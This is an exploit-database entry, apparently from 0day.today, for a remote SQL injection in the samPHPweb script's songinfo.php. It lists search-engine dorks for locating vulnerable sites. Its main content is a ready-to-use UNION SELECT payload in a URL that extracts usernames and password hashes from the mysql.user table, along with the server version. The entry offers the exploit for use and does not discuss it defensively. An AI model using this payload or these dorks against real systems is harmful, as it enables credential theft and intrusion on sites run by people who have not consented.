samPHPweb (songinfo.php) Remote SQL Injection Vulnerability

2008-01-05T00:00:00
ID 1337DAY-ID-2442
Type zdt
Reporter BackDoor
Modified 2008-01-05T00:00:00

Description

Exploit for unknown platform in category web applications

                                        
                                            ===========================================================
samPHPweb (songinfo.php) Remote SQL Injection Vulnerability
===========================================================



Title:samPHPweb (songinfo.php) Remote SQL Injection
Script:samPHPweb
Download:http://www.spacialaudio.com/download/samPHPweb.zip
Bug:songinfo.php
Author:BackDoor
Dork1:inurl:samPHPweb/playing.php
Dork2:This page was produced using SAM Broadcaster. © Copyright Spacial Audio Solutions, LLC 1999 - 2004.
Exploit:
www.victim.com/scriptpath/songinfo.php?songid=-1/**/UNION/**/SELECT/**/0,1,2,3,4,5,6,7,8,9,10,11,12,13,password,user,16,17,18,19,20,21,22,23,24,@@version,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44/**/from/**/mysql.user




#  0day.today [2018-01-04]  #